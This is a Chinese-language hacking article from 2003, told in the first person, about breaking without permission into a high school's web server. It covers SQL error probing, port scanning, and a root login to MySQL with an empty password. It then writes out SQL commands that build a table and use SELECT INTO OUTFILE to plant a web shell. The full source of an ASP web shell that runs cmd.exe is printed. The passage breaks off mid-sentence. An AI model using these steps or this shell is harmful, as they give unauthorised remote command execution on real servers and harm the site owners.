发布日期:2003年12月1日(首发与《黑客X档案》)
作者:霜风
欢迎访问:
http://www.shockhack.net/bbs/
http://bbs.cnse8.com
网上有许多文章和帖子都是讲入侵的,但里面所叙述的入侵大多都过于简单,一般就是拿着傻瓜化的工具,输几个字母或按几下鼠标就进去了,难道这就是所谓的入侵么?不,真正的入侵可没这么简单,不是随便利用一些教程的方法去套就能进去的,入侵是门艺术,要做好这么艺术,需要的是智慧和永不放弃的精神,更需要有精明的头脑,灵活的运用已知的一些信息,入侵可不是三两下子就能完成的,1天,1个星期都有可能,好了,不讲大道理了,来看看俺入侵的经历吧。
一天在上了本地一个重点高中的网站,听说这个学校的计算机很厉害,也是本人心仪以久的中学(没办法,初3了……),但是我习惯性的在一个新闻后面输入:
http://host/home/xwzx/xwzxfile.php?id=53\
于是入侵就这样开始了……
1,信息收集与分析:
输入完后出现了下面的字:
Warning: Supplied argument is not a valid MySQL result resource in D:\\wangzhan\\home\\xwzx\\xwzxfile.php on line 191
这一行字真让我欣喜不以,它不仅暴露出了网站的数据库是MYSQL的,还显示出了网站的物理路径。接着我拿出X-WAY扫了它的IP,发现只开了21,445,80,3306端口,很有可能装了防火墙或是端口过滤,扫描了CGI等漏洞,并没有发现什么有价值的漏洞,仔细看看者个网站的模版,并不象是现成的,很有可能是自己编的,仔细分析下来已经有了3个突破口:
1,21端口,FTP IP 21,得到BANNER是Serv-U的FTP服务,好象Serv-U并没有什么可以直接利用远程得到密码漏洞,不过可以暴力破解,是一个安全隐患。
2,80端口,既然页面是可以交互的PHP,接着我注意到下面有个网站管理的入口,管理员并没有把它删掉,看来安全意识不强,很有可能用SQL注射攻入,不过我并会MYSQL注射,不过MSSQL和MYSQL都是SQL我想注射的方法也不会差太多,不过MYSQL没什么权限,但是只要能猜出页面管理员的入口的口令就差不多了,还值得一提的是网站还有个论坛,是紫桐的,版本不清楚,应该可以利用。
3,3306端口,MYSQL服务的端口,很有可能存在弱口令,就算没有也可以用MYSQL暴力破解器来破解密码。
telnet ip 80
get
得到的banner是IIS5.0,看来主机是iis5.0+php+mysql
3,攻击开始:
首先试试成功几率最大的MYSQL吧,下载了一个牛族MYSQL连接器,输入对方IP,密码为空,点“开始连接”。结果非常另人激动,那就是成功的连上去了,看来这所学校不是很重视网络安全,本以为接下来的事会很简单,但事与愿违,我又遇到了更复杂的情况。
有了MYSQL空密码以后的一般思路就是:先建立一个表,接着一行一行把ASP后门的代码写进去,接着导出,这样就变成了WEBSHELL,最后就是提升权限,用牛族连上去后,我就开始实现上面的思路,先在上面的框框里输入:
use mysql;
发送命令
“发送use mysal;成功!”
create table tmp(cmd TEXT)
发送命令
“发送create table tmp(cmd TEXT)成功!”
说明:选择在名叫mysql的库中建一个名叫tmp的表,这个表只有一个字段名叫cmd,数据类型为TEXT
再生成的表中写入内容并导出到系统目录上然后删除键的表
insert into tmp values(\"<% Dim oScript\")
发送命令(成功)
insert into tmp values(\"Dim oScriptNet\")
发送命令(成功)
insert into tmp values(\"Dim oFileSys, oFile\")
发送命令(成功)
……
……
select * from tmp into outfile \"d:\\\\wangzhan\\\\home\\cmd.asp\"
drop table tmp
说明:其实我就是一行一行往TMP这个表里写入cmd.asp的内容,代码如下:
<% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject(\"\"WSCRIPT.SHELL\"\")
Set oScriptNet = Server.CreateObject(\"\"WSCRIPT.NETWORK\"\")
Set oFileSys = Server.CreateObject(\"\"Scripting.FileSystemObject\"\")
szCMD = Request.Form(\"\".CMD\"\")
If (szCMD <> \"\"\"\")Then
szTempFile = \"\"C:\\\" & oFileSys.GetTempName()
Call oScript.Run (\"\"cmd.exe /c \"\" & szCMD & \"\" > \"\" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action=\"\"<%= Request.ServerVariables(\"\"URL\"\")%>\"\" method=\"\"POST\"\">
<input type=text name=\"\".CMD\"\" size=45 value=\"\"<%= szCMD %>\"\"><input type=submit value=\"\"Run\"\">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
写好后,再导出放在d:\\wangzhan\\home\\,存为cmd.asp,还有d:\\\\注意啊是双斜杠由于换行的原因必须一行一行的写进去,还有ASP文件里的双引号都要用两个双引号代替.
花了10几分钟终于写好了,访问URL:
http://www.%school%.com/home/cmd.asp,却出现了
“505 服务器内部错误”,
看的我一头雾水,仔细想想,莫非服务器不支持ASP?!我没往下想,先想办法再说,因为我已经写入了,我现在又不能删除,如果被管理员发现那个ASP就糟了,于是我再重网上DOWN了一个PHPSHELL,用记事本一打开,代码的长度是CMD.ASP的N倍,如果要一行一行的输入进去的话……于是我找朋友要了一个CMD下的MYSQL连接器,在CMD下输入:
mysql -h ip -uroot <php.sql
意思是连接远程的MYSQL,并且执行php.sql里的SQL语句,php.sql的代码:
use test;
create table tmp(cmd TEXT);
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
……
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
意思跟上面说的差不多,也是一行一行的输入代码(由于PHP要换行的原因,所以要一行一行输),接着导出,最后删除,只是我编辑php.sql时候用了些小技巧,如果在每行PHPSHELL代码前都添加
insert into tmp values(\
和末尾都添加
\)
的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器―易优超级字典生成器注册版,
它有一个小功能,在修改字典里,
如图1
有两个选项,一个是
“在每个密码前插入字符串”另一个是
“在每个密码后插入字符串”
嘿嘿,聪明的读者应该想到了吧,先把phpshell.php改为phpshell.txt,接着用它编辑,勾选那两个选项,然后分别写上
insert into tmp values(\,(由于一次不能写这么多,所以我就写 tmp values,输出好后,再插入insert into)和
\),
(不过首先用记事本打开那个phpshell.txt,把所以的\"改为\"\",然后才能用易优超级字典生成器注册版编辑,因为SQL语句里所有的\"都要用\"\"代替,真是麻烦……)
输出好后,再加上
use test;
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
最后改名为php.sql,好了,回到上面,
mysql -h ip -uroot <php.sql
回车后出现:
error on line 47 \"\\\"……
还有一些,由于当时没截图,就记不清了,反正意思是\"\\\" \"/*\"等等这类的字符无法导入,当时的心情真是